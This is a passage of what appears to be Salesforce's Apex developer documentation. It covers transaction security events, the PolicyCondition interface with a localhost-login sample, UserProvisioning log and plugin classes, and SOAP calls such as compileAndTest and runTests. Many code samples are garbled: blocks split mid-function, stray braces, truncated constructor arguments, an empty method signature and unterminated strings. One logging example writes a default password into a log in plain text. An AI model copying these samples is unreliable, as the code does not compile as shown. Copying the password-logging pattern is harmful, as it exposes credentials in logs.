Signature
public String action {get; set;}

Property Value
Type: String

data
Contains additional data used by some actions. For example, data for a login event includes the login history name and ID. Returns a map whose keys are the type of event data, like SourceIp.

Signature
public Map<String,String> data {get; set;}

Property Value
Type: Map<String, String>
**entityId**
The ID of any entity associated with the event. For example, the entityId of a DataExport event for an Account object contains the Account ID.

**Signature**
```java
public String entityId {get; set;}
```

**Property Value**
Type: String

**entityName**
The name of the object the event acts on.

**Signature**
```java
public String entityName {get; set;}
```

**Property Value**
Type: String

**organizationId**
The ID of the Salesforce organization where the event occurred.

**Signature**
```java
public String organizationId {get; set;}
```

**Property Value**
Type: String

**resourceType**
The type of resource for the event. For example, an AccessResource event could have a Connected Application as a resource type. Not all event types have resources.

**Signature**
```java
public String resourceType {get; set;}
```

**Property Value**
Type: String
**PolicyCondition Interface**

Apex interface that allows an implementing class to specify actions to take when certain events occur based on a transaction security policy.

**Namespace**

`TxnSecurity`

**Usage**

The `evaluate` method is called upon the occurrence of an event monitored by a transaction security policy. A typical implementation first selects the item of interest from the event. Then the item is tested to see if it meets the condition being monitored. If the condition is met, the method returns `true`.

For example, imagine a transaction security policy that checks for the same user logging in more than once. For each login event, the method would check if the user logging in already has a login session in progress, and if so, `true` is returned.

### IN THIS SECTION:

- PolicyCondition Methods
- PolicyCondition Example Implementation

**PolicyCondition Methods**

The following is the method for PolicyCondition.
evaluate(event)
Evaluates an event against a transaction security policy. If the event triggers the policy, true is returned.

**Signature**

```java
public Boolean evaluate(TxnSecurity.Event event)
```

**Parameters**

`event`
- Type: `TxnSecurity.Event`
- The event to check against the transaction security policy.

**Return Value**

- Type: `Boolean`
- When the policy is triggered, True is returned. For example, let’s suppose the policy is to limit users to a single login session. If anyone tries to log in a second time, the policy’s action requires that they end their current session. The policy also sends an email notification to the Salesforce admin. The `evaluate()` method only checks the login event, and returns True if it’s the user’s second login. The Transaction Security system performs the action and notification, and not the `evaluate()` method.

**PolicyCondition Example Implementation**

This sample is an example implementation of the `TxnSecurity.PolicyCondition` interface. This example implements a policy that triggers when there’s a login from localhost.

```java
global class BlockLocalhostCondition implements TxnSecurity.PolicyCondition {

    public boolean evaluate(TxnSecurity.Event e) {
        // Get the IP address.
        String sourceIp = e.data.get('SourceIp');
        // If it’s localhost the policy is triggered and true is returned.
        if(sourceIp != null && sourceIp.equals('127.0.0.1')){
            return true;
        } else {
            return false;
        }
    }
}
```

The following example tests the implementation:

```java
@isTest
public class TestLogin {
    public static testMethod void testLocalhostLogin() {
        Map<String, String> eventData = new Map<String, String>();
    }
}
```
/* Insert localhost IP address into the event data map */
eventData.put('SourceIp', '127.0.0.1');

TxnSecurity.Event e = new TxnSecurity.Event(
    '00Dxxx123123123' /* organizationId */,
    '005xxx123123123'/* userId */,
    'AuthSession' /* entityName */,
    'Login' /* action */,
    'LoginHistory' /* resourceType */,
    '01pR000000009D2H' /* entityId */,
    Datetime.newInstance(2015, 9, 15) /* timeStamp */,
    eventData /* data - Map containing information about the event */);

/* We are unit testing a PolicyCondition that triggers
 when an event is generated from localhost */
BlockLocalhostCondition condition = new BlockLocalhostCondition();

/* Assert that the condition is triggered */
System.assertEquals(true, condition.evaluate(e));

public static testMethod void testNonLocalhostLogin() {
    Map<String, String> eventData = new Map<String, String>;

    /* Insert non-localhost IP address into the event data map */
    eventData.put('SourceIp', '1.1.1.1');

    TxnSecurity.Event e = new TxnSecurity.Event(
        '00Dxxx123123123' /* organizationId */,
        '005xxx123123123'/* userId */,
        'AuthSession' /* entityName */,
        'Login' /* action */,
        'LoginHistory' /* resourceType */,
        '01pR000000009D2H' /* entityId */,
        Datetime.newInstance(2015, 9, 15) /* timeStamp */,
        eventData /* data - Map containing information about the event */);

    /* We are unit testing a PolicyCondition that triggers
 when an event is generated from localhost */
    BlockLocalhostCondition condition = new BlockLocalhostCondition();

    /* Assert that the condition is NOT triggered */
    System.assertEquals(false, condition.evaluate(e));
}

UserProvisioning Namespace

The UserProvisioning namespace provides methods for monitoring outbound user provisioning requests.

The following is the class in the UserProvisioning namespace.
IN THIS SECTION:

UserProvisioningLog Class
Provides methods for writing messages to monitor outbound user provisioning requests.

UserProvisioningPlugin Class
The UserProvisioningPlugin base class implements Process.Plugin for programmatic customization of the user provisioning process for connected apps.

UserProvisioningLog Class
Provides methods for writing messages to monitor outbound user provisioning requests.

Namespace
UserProvisioning

Example
This example writes the user account information sent to a third-party system for a provisioning request to the UserProvisioningLog object.

```java
String inputParamsStr = 'Input parameters: uprId=' + uprId + ',
endpointURL=' + endpointURL + ', adminUsername=' + adminUsername + ',
email=' + email + ', username=' + username + ', defaultPassword=' + defaultPassword + ',
defaultRoles = ' + defaultRoles;
UserProvisioning.UserProvisioningLog.log(uprId, inputParamsStr);
```

UserProvisioningLog Methods
The following are methods for UserProvisioningLog. All methods are static.

log(userProvisioningRequestId, details)
Writes a specific message, such as an error message, to monitor the progress of a user provisioning request.

log(userProvisioningRequestId, status, details)
Writes a specific status and message, such a status and detailed error message, to monitor the progress of a user provisioning request.

log(userProvisioningRequestId, externalUserId, externalUserName, userId, details)
Writes a specific message, such as an error message, to monitor the progress of a user provisioning request associated with a specific user.

log(userProvisioningRequestId, details)
Writes a specific message, such as an error message, to monitor the progress of a user provisioning request.
public void log(String userProvisioningRequestId, String details)

Parameters

userProvisioningRequestId
   Type: String
   A unique identifier for the user provisioning request.

details
   Type: String
   The text for the message.

Return Value

Type: void

log(userProvisioningRequestId, status, details)

Writes a specific status and message, such as a status and detailed error message, to monitor the progress of a user provisioning request.

public void log(String userProvisioningRequestId, String status, String details)

Parameters

userProvisioningRequestId
   Type: String
   A unique identifier for the user provisioning request.

status
   Type: String
   A description of the current state. For example, while invoking a third-party API, the status could be invoke.

details
   Type: String
   The text for the message.

Return Value

Type: void

log(userProvisioningRequestId, externalUserId, externalUserName, userId, details)

Writes a specific message, such as an error message, to monitor the progress of a user provisioning request associated with a specific user.
Signature

```java
public void log(String userProvisioningRequestId, String externalUserId, String externalUserName, String userId, String details)
```

Parameters

- `userProvisioningRequestId`
  - Type: `String`
  - A unique identifier for the user provisioning request.

- `externalUserId`
  - Type: `String`
  - The unique identifier for the user in the target system.

- `externalUserName`
  - Type: `String`
  - The username for the user in the target system.

- `userId`
  - Type: `String`
  - Salesforce ID of the user making the request.

- `details`
  - Type: `String`
  - The text for the message.

Return Value

Type: `void`

**UserProvisioningPlugin Class**

The `UserProvisioningPlugin` base class implements `Process.Plugin` for programmatic customization of the user provisioning process for connected apps.

**Namespace**

`UserProvisioning`

**Usage**

Extending this class gives you a plug-in that can be used in the Flow designer as an Apex plug-in, with the following input and output parameters.

<table>
<thead>
<tr>
<th>Input Parameter Name</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>userProvisioningRequestId</code></td>
<td>The unique ID of the request for the plug-in to process.</td>
</tr>
<tr>
<td><code>userId</code></td>
<td>The ID of the associated user for the request.</td>
</tr>
</tbody>
</table>
### Input Parameter Name

<table>
<thead>
<tr>
<th>Parameter</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>NamedCredDevName</td>
<td>The unique API name for the named credential to use for a request. The named credential identifies the third-party system and the third-party authentication settings. When the named credential is set in the User Provisioning Wizard, Salesforce stores the value in the <code>UserProvisioningConfig.NamedCredentialId</code> field.</td>
</tr>
<tr>
<td>reconFilter</td>
<td>When collecting and analyzing users on a third-party system, the plug-in uses this filter to limit the scope of the collection. When the filter is set in the User Provisioning Wizard, Salesforce stores the value in the <code>UserProvisioningConfig.ReconFilter</code> field.</td>
</tr>
<tr>
<td>reconOffset</td>
<td>When collecting and analyzing users on a third-party system, the plug-in uses this value as the starting point for the collection.</td>
</tr>
</tbody>
</table>

### Output Parameter Name

<table>
<thead>
<tr>
<th>Parameter</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Status</td>
<td>The vendor-specific status of the provisioning operation on the third-party system.</td>
</tr>
<tr>
<td>Details</td>
<td>The vendor-specific message related to the status of the provisioning operation on the third-party system.</td>
</tr>
<tr>
<td>ExternalUserId</td>
<td>The vendor-specific ID for the associated user on the third-party system.</td>
</tr>
<tr>
<td>ExternalUsername</td>
<td>The vendor-specific username for the associated user on the third-party system.</td>
</tr>
<tr>
<td>ExternalEmail</td>
<td>The email address assigned to the user on the third-party system.</td>
</tr>
<tr>
<td>ExternalFirstName</td>
<td>The first name assigned to the user on the third-party system.</td>
</tr>
<tr>
<td>ExternalLastName</td>
<td>The last name assigned to the user on the third-party system.</td>
</tr>
<tr>
<td>reconState</td>
<td>The state of the collecting and analyzing process on the third-party system. When the value is <code>complete</code>, the process is finished and a subsequent call to the plug-in is no longer needed, nor made.</td>
</tr>
<tr>
<td>nextReconOffset</td>
<td>When collecting and analyzing users on a third-party system, the process may encounter a transaction limit and have to stop before finishing. The value specified here initiates a call to the plug-in with a new quota limit.</td>
</tr>
</tbody>
</table>

If you want to add more custom parameters, use the `buildDescribeCall()` method.
Example

The following example uses the `buildDescribeCall()` method to add a new input parameter and a new output parameter. The example also demonstrates how to bypass the limit of the 10,000 records processed in DML statements in an Apex transaction.

global class SampleConnector extends UserProvisioning.UserProvisioningPlugin {
    // Example of adding more input and output parameters to those defined in the base class
    global override Process.PluginDescribeResult buildDescribeCall() {
        Process.PluginDescribeResult describeResult = new Process.PluginDescribeResult();

        describeResult.inputParameters = new List<Process.PluginDescribeResult.InputParameter>{
                Process.PluginDescribeResult.ParameterType.STRING, false)
        };

        describeResult.outputParameters = new List<Process.PluginDescribeResult.OutputParameter>{
                Process.PluginDescribeResult.ParameterType.STRING)
        };

        return describeResult;
    }

    // Example Plugin that demonstrates how to leverage the reconOffset/nextReconOffset/reconState parameters to create more than 10,000 users. (i.e. go beyond the 10,000 DML limit per transaction)
    global override Process.PluginResult invoke(Process.PluginRequest request) {
        Map<String,String> result = new Map<String,String>();
        String uprId = (String) request.inputParameters.get('userProvisioningRequestId');
        UserProvisioning.UserProvisioningLog.log(uprId, 'Inserting Log from test Apex connector');
        UserProvisioningRequest upr = [SELECT id, operation, connectedAppId, state
            FROM userprovisioningrequest WHERE id = :uprId];
        if (upr.operation.equals('Reconcile')) {
            String reconOffsetStr = (String) request.inputParameters.get('reconOffset');
            Integer reconOffset = 0;
            if (reconOffsetStr != null) {
                reconOffset = Integer.valueOf(reconOffsetStr);
            }
            if (reconOffset > 44999) {
                result.put('reconState', 'Completed');
            }
            Integer i = 0;
            List<UserProvAccountStaging> upasList = new List<UserProvAccountStaging>();
            for (i = 0; i < 5000; i++) {
                UserProvAccountStaging upas = new UserProvAccountStaging();
            }
        }
    }
}
upas.Name = i + reconOffset + '';  
upas.ExternalFirstName = upas.Name;  
upas.ExternalEmail = 'externaluser@externalsystem.com';  
upas.LinkState = 'Orphaned';  
upas.Status = 'Active';  
upas.connectedAppId = upr.connectedAppId;  
upasList.add(upas);
}
}  
insert upasList;  
result.put('nextReconOffset', reconOffset + 5000 + '');
}
}
return new Process.PluginResult(result);
}  
}

IN THIS SECTION:
UserProvisioningPlugin Methods

UserProvisioningPlugin Methods

The following are methods for UserProvisioningPlugin.

IN THIS SECTION:
buildDescribeCall()  
Use this method to add more input and output parameters to those defined in the base class.
describe()  
Returns a Process.PluginDescribeResult object that describes this method call.
getPluginClassName()  
Returns the name of the class implementing the plugin.
invoke(request)  
Primary method that the system invokes when the class that implements the interface is instantiated.

buildDescribeCall()

Use this method to add more input and output parameters to those defined in the base class.

Signature

public Process.PluginDescribeResult buildDescribeCall()

Return Value

Type: Process.PluginDescribeResult
**describe()**

Returns a `Process.PluginDescribeResult` object that describes this method call.

**Signature**

```java
public Process.PluginDescribeResult describe()
```

**Return Value**

Type: `Process.PluginDescribeResult`

---

**getPluginClassName()**

Returns the name of the class implementing the plugin.

**Signature**

```java
public String getPluginClassName()
```

**Return Value**

Type: `String`

---

**invoke(request)**

Primary method that the system invokes when the class that implements the interface is instantiated.

**Signature**

```java
```

**Parameters**

`request`

Type: `Process.PluginRequest`

**Return Value**

Type: `Process.PluginDescribeResult`
APPENDIX A  SOAP API and SOAP Headers for Apex

This appendix details the SOAP API calls and objects that are available by default for Apex.

Note: Apex class methods can be exposed as custom SOAP Web service calls. This allows an external application to invoke an Apex Web service to perform an action in Salesforce. Use the webService keyword to define these methods. For more information, see Considerations for Using the WebService Keyword on page 254.

Any Apex code saved using SOAP API calls uses the same version of SOAP API as the endpoint of the request. For example, if you want to use SOAP API version 35.0, use endpoint 35.0:

https://na1.salesforce.com/services/Soap/s/35.0

For information on all other SOAP API calls, including those that can be used to extend or implement any existing Apex IDEs, contact your Salesforce representative.

The following API objects are available as a Beta release in API version 23.0 and later:

- ApexTestQueueItem
- ApexTestResult

The following are SOAP API calls:

- compileAndTest()
- compileClasses()
- compileTriggers()
- executeanonymous()
- runTests()

The following SOAP headers are available in SOAP API calls for Apex:

- DebuggingHeader
- PackageVersionHeader

Also see the Metadata API Developer’s Guide for two additional calls:

- deploy()
- retrieve()

ApexTestQueueItem

Note: The API for asynchronous test runs is a Beta release.

Represents a single Apex class in the Apex job queue. This object is available in API version 23.0 and later.
Supported Calls
create(), describeSObjects(), query(), retrieve(), update(), upsert()

Fields

<table>
<thead>
<tr>
<th>Field Name</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>ApexClassId</td>
<td></td>
</tr>
<tr>
<td>Type</td>
<td>reference</td>
</tr>
<tr>
<td>Properties</td>
<td>Create, Filter, Group, Sort</td>
</tr>
<tr>
<td>Description</td>
<td>The Apex class whose tests are to be executed. This field can't be updated.</td>
</tr>
<tr>
<td>ExtendedStatus</td>
<td></td>
</tr>
<tr>
<td>Type</td>
<td>string</td>
</tr>
<tr>
<td>Properties</td>
<td>Filter, Nillable, Sort</td>
</tr>
<tr>
<td>Description</td>
<td>The pass rate of the test run. For example: &quot;(4/6)&quot;. This means that four out of a total of six tests passed. If the class fails to execute, this field contains the cause of the failure.</td>
</tr>
<tr>
<td>ParentJobId</td>
<td></td>
</tr>
<tr>
<td>Type</td>
<td>reference</td>
</tr>
<tr>
<td>Properties</td>
<td>Filter, Group, Nillable, Sort</td>
</tr>
<tr>
<td>Description</td>
<td>Read-only. Points to the AsyncApexJob that represents the entire test run. If you insert multiple Apex test queue items in a single bulk operation, the queue items will share the same parent job. This means that a test run can consist of the execution of the tests of several classes if all the test queue items are inserted in the same bulk operation.</td>
</tr>
<tr>
<td>Status</td>
<td></td>
</tr>
<tr>
<td>Type</td>
<td>picklist</td>
</tr>
<tr>
<td>Properties</td>
<td>Filter, Group, Restricted picklist, Sort, Update</td>
</tr>
</tbody>
</table>
| Description    | The status of the job. Valid values are:
Usage

Insert an ApexTestQueueItem object to place its corresponding Apex class in the Apex job queue for execution. The Apex job executes the test methods in the class.

To abort a class that is in the Apex job queue, perform an update operation on the ApexTestQueueItem object and set its Status field to Aborted.

If you insert multiple Apex test queue items in a single bulk operation, the queue items will share the same parent job. This means that a test run can consist of the execution of the tests of several classes if all the test queue items are inserted in the same bulk operation.

ApexTestResult

Note: The API for asynchronous test runs is a Beta release.

Represents the result of an Apex test method execution. This object is available in API version 23.0 and later.

Supported Calls

describeSObjects(), query(), retrieve()

Fields

<table>
<thead>

</tbody>
</table>
### Field Details

<table>
<thead>
<tr>
<th>Field Name</th>
<th>Details</th>
</tr>
</thead>
</table>
| QueueItemId      | **Type**
|                  | reference |
|                  | **Properties**
|                  | Filter, Group, Nillable, Sort |
|                  | **Description**
|                  | Points to the `ApexTestQueueItem` which is the class that this test method is part of. |
| StackTrace       | **Type**
|                  | string |
|                  | **Properties**
|                  | Filter, Nillable, Sort |
|                  | **Description**
|                  | The Apex stack trace if the test failed; otherwise, null. |
| TestTimestamp    | **Type**
|                  | dateTime |
|                  | **Properties**
|                  | Filter, Sort |
|                  | **Description**
|                  | The start time of the test method. |

### Usage

You can query the fields of the `ApexTestResult` record that corresponds to a test method executed as part of an Apex class execution.

Each test method execution is represented by a single `ApexTestResult` record. For example, if an Apex test class contains six test methods, six `ApexTestResult` records are created. These records are in addition to the `ApexTestQueueItem` record that represents the Apex class.

### compileAndTest()

Compile and test your Apex in a single call.

#### Syntax

```java
CompileAndTestResult[] = compileAndTest(CompileAndTestRequest request);
```
Usage

Use this call to both compile and test the Apex you specify with a single call. Production organizations (not a Developer Edition or Sandbox Edition) must use this call instead of `compileClasses()` or `compileTriggers()`.

This call supports the DebuggingHeader and the SessionHeader. For more information about the SOAP headers in the API, see the SOAP API Developer’s Guide.

All specified tests must pass, otherwise data is not saved to the database. If this call is invoked in a production organization, the `RunTestsRequest` property of the `CompileAndTestRequest` is ignored, and all unit tests defined in the organization are run and must pass.

Sample Code—Java

Note that the following example sets `checkOnly` to `true` so that this class is compiled and tested, but the classes are not saved to the database.

```java
{
    CompileAndTestRequest request;
    CompileAndTestResult result = null;

    String triggerBody = "trigger t1 on Account (before insert){ " +
        " for(Account a:Trigger.new){ " +
        "    a.description = 't1_UPDATE';}" +
        "}";

    String testClassBody = "@isTest private class TestT1{" +
        "    // Test for the trigger" +
        "    Account a = new Account(name='TEST');" +
        "    insert(a);" +
        "    a = [select id,description from Account where id=:a.id];" +
        "    System.assert(a.description.contains('t1_UPDATE'));" +
        "  }" +
        "  // Test for the class" +
        "  public static testmethod void test2(){" +
        "      String s = Cl.method1();" +
        "      System.assert(s="HELLO");" +
        "  }" +
        "}";

    String classBody = "public class C1{" +
        "    public static String s ='HELLO';" +
        "    public static String method1(){" +
        "        return(s);" +
        "    }" +
        "}";

    request = new CompileAndTestRequest();

    request.setClasses(new String[]{classBody, testClassBody});
    request.setTriggers(new String[]{triggerBody});
    request.setCheckOnly(true);
}
```
try {
    result = apexBinding.compileAndTest(request);
} catch (RemoteException e) {
    System.out.println("An unexpected error occurred: " + e.getMessage());
}
assert (result.isSuccess());

Arguments

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>request</td>
<td>CompileAndTestRequest</td>
<td>A request that includes the Apex and the values for any fields that need to be set for this request.</td>
</tr>
</tbody>
</table>

Response

CompileAndTestResult

The compileAndTest() call contains this object, a request with information about the Apex to be compiled.

A CompileAndTestRequest object has the following properties:

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>checkOnly</td>
<td>boolean</td>
<td>If set to true, the Apex classes and triggers submitted are not saved to your organization, whether or not the code successfully compiles and unit tests pass.</td>
</tr>
<tr>
<td>classes</td>
<td>string</td>
<td>Content of the class or classes to be compiled.</td>
</tr>
<tr>
<td>deleteClasses</td>
<td>string</td>
<td>Name of the class or classes to be deleted.</td>
</tr>
<tr>
<td>deleteTriggers</td>
<td>string</td>
<td>Name of the trigger or triggers to be deleted.</td>
</tr>
<tr>
<td>runTestsRequest</td>
<td>RunTestsRequest</td>
<td>Specifies information about the Apex to be tested. If this request is sent in a production organization, this property is ignored and all unit tests are run for your entire organization.</td>
</tr>
<tr>
<td>triggers</td>
<td>string</td>
<td>Content of the trigger or triggers to be compiled.</td>
</tr>
</tbody>
</table>

Note the following about this object:

- This object contains the RunTestsRequest property. If the request is run in a production organization, the property is ignored and all tests are run.
- If any errors occur during compile, delete, testing, or if the goal of 75% code coverage is missed, no classes or triggers are saved to your organization. This is the same requirement as Force.com AppExchange package testing.
- All triggers must have code coverage. If a trigger has no code coverage, no classes or triggers are saved to your organization.
**CompileAndTestResult**

The `compileAndTest()` call returns information about the compile and unit test run of the specified Apex, including whether it succeeded or failed.

A `CompileAndTestResult` object has the following properties:

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>classes</td>
<td>CompileClassResult</td>
<td>Information about the success or failure of the <code>compileAndTest()</code> call if classes were being compiled.</td>
</tr>
<tr>
<td>deleteClasses</td>
<td>DeleteApexResult</td>
<td>Information about the success or failure of the <code>compileAndTest()</code> call if classes were being deleted.</td>
</tr>
<tr>
<td>deleteTriggers</td>
<td>DeleteApexResult</td>
<td>Information about the success or failure of the <code>compileAndTest()</code> call if triggers were being deleted.</td>
</tr>
<tr>
<td>runTestsResult</td>
<td>RunTestsResult</td>
<td>Information about the success or failure of the Apex unit tests, if any were specified.</td>
</tr>
<tr>
<td>success</td>
<td>boolean*</td>
<td>If true, all of the classes, triggers, and unit tests specified ran successfully. If any class, trigger, or unit test failed, the value is false, and details are reported in the corresponding result object:</td>
</tr>
<tr>
<td></td>
<td></td>
<td>• CompileClassResult&lt;br&gt; • CompileTriggerResult&lt;br&gt; • DeleteApexResult&lt;br&gt; • RunTestsResult</td>
</tr>
<tr>
<td>triggers</td>
<td>CompileTriggerResult</td>
<td>Information about the success or failure of the <code>compileAndTest()</code> call if triggers were being compiled.</td>
</tr>
</tbody>
</table>

* Link goes to the [SOAP API Developer's Guide](#).

**CompileClassResult**

This object is returned as part of a `compileAndTest()` or `compileClasses()` call. It contains information about whether or not the compile and run of the specified Apex was successful.

A `CompileClassResult` object has the following properties:

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>bodyCrc</td>
<td>int*</td>
<td>The CRC (cyclic redundancy check) of the class or trigger file.</td>
</tr>
<tr>
<td>column</td>
<td>int*</td>
<td>The column number where an error occurred, if one did.</td>
</tr>
<tr>
<td>id</td>
<td>ID*</td>
<td>An ID is created for each compiled class. The ID is unique within an organization.</td>
</tr>
<tr>
<td>line</td>
<td>int*</td>
<td>The line number where an error occurred, if one did.</td>
</tr>
<tr>
<td>name</td>
<td>string*</td>
<td>The name of the class.</td>
</tr>
<tr>
<td>Name</td>
<td>Type</td>
<td>Description</td>
</tr>
<tr>
<td>---------------</td>
<td>----------</td>
<td>---------------------------------------------------------------------------------------------------------------------------------------------</td>
</tr>
<tr>
<td>problem</td>
<td>string*</td>
<td>The description of the problem if an error occurred.</td>
</tr>
<tr>
<td>success</td>
<td>boolean*</td>
<td>If true, the class or classes compiled successfully. If false, problems are specified in other properties of this object.</td>
</tr>
</tbody>
</table>

* Link goes to the SOAP API Developer's Guide.

**CompileTriggerResult**

This object is returned as part of a `compileAndTest()` or `compileTriggers()` call. It contains information about whether or not the compile and run of the specified Apex was successful.

A CompileTriggerResult object has the following properties:

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>bodyCrc</td>
<td>int*</td>
<td>The CRC (cyclic redundancy check) of the trigger file.</td>
</tr>
<tr>
<td>column</td>
<td>int*</td>
<td>The column where an error occurred, if one did.</td>
</tr>
<tr>
<td>id</td>
<td>ID*</td>
<td>An ID is created for each compiled trigger. The ID is unique within an organization.</td>
</tr>
<tr>
<td>line</td>
<td>int*</td>
<td>The line number where an error occurred, if one did.</td>
</tr>
<tr>
<td>name</td>
<td>string*</td>
<td>The name of the trigger.</td>
</tr>
<tr>
<td>problem</td>
<td>string*</td>
<td>The description of the problem if an error occurred.</td>
</tr>
<tr>
<td>success</td>
<td>boolean*</td>
<td>If true, all the specified triggers compiled and ran successfully. If the compilation or execution of any trigger fails, the value is false.</td>
</tr>
</tbody>
</table>

* Link goes to the SOAP API Developer's Guide.

**DeleteApexResult**

This object is returned when the `compileAndTest()` call returns information about the deletion of a class or trigger.

A DeleteApexResult object has the following properties:

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>id</td>
<td>ID*</td>
<td>ID of the deleted trigger or class. The ID is unique within an organization.</td>
</tr>
<tr>
<td>problem</td>
<td>string*</td>
<td>The description of the problem if an error occurred.</td>
</tr>
<tr>
<td>success</td>
<td>boolean*</td>
<td>If true, all the specified classes or triggers were deleted successfully. If any class or trigger is not deleted, the value is false.</td>
</tr>
</tbody>
</table>

* Link goes to the SOAP API Developer's Guide.
compileClasses()

Compile your Apex in Developer Edition or sandbox organizations.

Syntax

```java
CompileClassResult[] = compileClasses(string[] classList);
```

Usage

Use this call to compile Apex classes in Developer Edition or sandbox organizations. Production organizations must use `compileAndTest()`.

This call supports the DebuggingHeader and the SessionHeader. For more information about the SOAP headers in the API, see the SOAP API Developer’s Guide.

Sample Code—Java

```java
public void compileClassesSample() {
    String p1 = "public class p1 {
    + "public static Integer var1 = 0;\n"
    + "public static void methodA() {\n" + " var1 = 1;\n" + "}\n"
    + "public static void methodB() {\n" + " p2.MethodA();\n" + "}\n"
    + "}\\n};
    String p2 = "public class p2 {
    + "public static Integer var1 = 0;\n"
    + "public static void methodA() {\n" + " var1 = 1;\n" + "}\n"
    + "public static void methodB() {\n" + " p1.MethodA();\n" + "}\n"
    + "}\\n};
    CompileClassResult[] r = new CompileClassResult[0];
    try {
        r = apexBinding.compileClasses(new String[]{p1, p2});
    } catch (RemoteException e) {
        System.out.println("An unexpected error occurred: ");
        e.printStackTrace();
    }
    if (!r[0].isSuccess()) {
        System.out.println("Couldn't compile class p1 because: ");
        + r[0].getProblem());
    }
    if (!r[1].isSuccess()) {
        System.out.println("Couldn't compile class p2 because: ");
        + r[1].getProblem());
    }
}
```
Arguments

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>scripts</td>
<td>string*</td>
<td>A request that includes the Apex classes and the values for any fields that need to be set for this request.</td>
</tr>
</tbody>
</table>

* Link goes to the SOAP API Developer's Guide.

Response

CompileClassResult

**compileTriggers()**

Compile your Apex triggers in Developer Edition or sandbox organizations.

Syntax

```
CompileTriggerResult[] = compileTriggers(string[] triggerList);
```

Usage

Use this call to compile the specified Apex triggers in your Developer Edition or sandbox organization. Production organizations must use `compileAndTest()`.

This call supports the DebuggingHeader and the SessionHeader. For more information about the SOAP headers in the API, see the SOAP API Developer's Guide.

Arguments

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>scripts</td>
<td>string*</td>
<td>A request that includes the Apex trigger or triggers and the values for any fields that need to be set for this request.</td>
</tr>
</tbody>
</table>

* Link goes to the SOAP API Developer's Guide.

Response

CompileTriggerResult
executeanonymous()  

Executes a block of Apex.

Syntax

```java
ExecuteAnonymousResult[] = binding.executeanonymous(string apexcode);
```

Usage

Use this call to execute an anonymous block of Apex. This call can be executed from AJAX. This call supports the API DebuggingHeader and SessionHeader. If a component in a package with restricted API access issues this call, the request is blocked. Apex classes and triggers saved (compiled) using API version 15.0 and higher produce a runtime error if you assign a String value that is too long for the field.

Arguments

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>apexcode</td>
<td>string*</td>
<td>A block of Apex.</td>
</tr>
</tbody>
</table>

* Link goes to the SOAP API Developer's Guide. SOAP API Developer's Guide contains information about security, access, and SOAP headers.

Response

`ExecuteAnonymousResult[]`

ExecuteAnonymousResult

The `executeanonymous()` call returns information about whether or not the compile and run of the code was successful. An `ExecuteAnonymousResult` object has the following properties:

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>column</td>
<td>int*</td>
<td>If <code>compiled</code> is False, this field contains the column number of the point where the compile failed.</td>
</tr>
<tr>
<td>compileProblem</td>
<td>string*</td>
<td>If <code>compiled</code> is False, this field contains a description of the problem that caused the compile to fail.</td>
</tr>
<tr>
<td>compiled</td>
<td>boolean*</td>
<td>If True, the code was successfully compiled. If False, the column, line, and compileProblem fields are not null.</td>
</tr>
</tbody>
</table>
### runTests()

Run your Apex unit tests.

**Syntax**

```java
RunTestsResult[] = binding.runTests(RunTestsRequest request);
```

**Usage**

To facilitate the development of robust, error-free code, Apex supports the creation and execution of unit tests. Unit tests are class methods that verify whether a particular piece of code is working properly. Unit test methods take no arguments, commit no data to the database, send no emails, and are flagged with the testMethod keyword or the isTest annotation in the method definition. Also, test methods must be defined in test classes, that is, classes annotated with isTest. Use this call to run your Apex unit tests.

This call supports the DebuggingHeader and the SessionHeader. For more information about the SOAP headers in the API, see the SOAP API Developer's Guide.

**Sample Code—Java**

```java
public void runTestsSample() {
    String sessionId = "sessionId goes here";
    String url = "url goes here";
    // Set the Apex stub with session ID received from logging in with the partner API
    _SessionHeader sh = new _SessionHeader();
    apexBinding.setHeader(
        new ApexServiceLocator().getServiceName().getNamespaceURI(),
        "SessionHeader", sh);
    // Set the URL received from logging in with the partner API to the Apex stub
    apexBinding._setProperty(ApexBindingStub.ENDPOINT_ADDRESS_PROPERTY, url);

    // Set the debugging header
    _DebuggingHeader dh = new _DebuggingHeader();
    dh.setDebugLevel(LogType.Profiling);
    apexBinding.setHeader(
```
new ApexServiceLocator().getServiceName().getNamespaceURI(), "DebuggingHeader", dh);

long start = System.currentTimeMillis();
RunTestsRequest rtr = new RunTestsRequest();
rtr.setAllTests(true);
RunTestsResult res = null;
try {
    res = apexBinding.runTests(rtr);
} catch (RemoteException e) {
    System.out.println("An unexpected error occurred: " + e.getMessage());
}

System.out.println("Number of tests: " + res.getNumTestsRun());
System.out.println("Number of failures: " + res.getNumFailures());
if (res.getNumFailures() > 0) {
    for (RunTestFailure rtf : res.getFailures()) {
        System.out.println("Failure: " + (rtf.getNamespace() ==
        null ? "" : rtf.getNamespace() + ".")
        + rtf.getName() + "." + rtf.getMethodName() + ": "
        + rtf.getMessage() + "\n" + rtf.getStackTrace());
    }
}
if (res.getCodeCoverage() != null) {
    for (CodeCoverageResult ccr : res.getCodeCoverage()) {
        System.out.println("Code coverage for " + ccr.getType() +
        (ccr.getNamespace() == null ? "" : ccr.getNamespace() + ".")
        + ccr.getName() + ": "
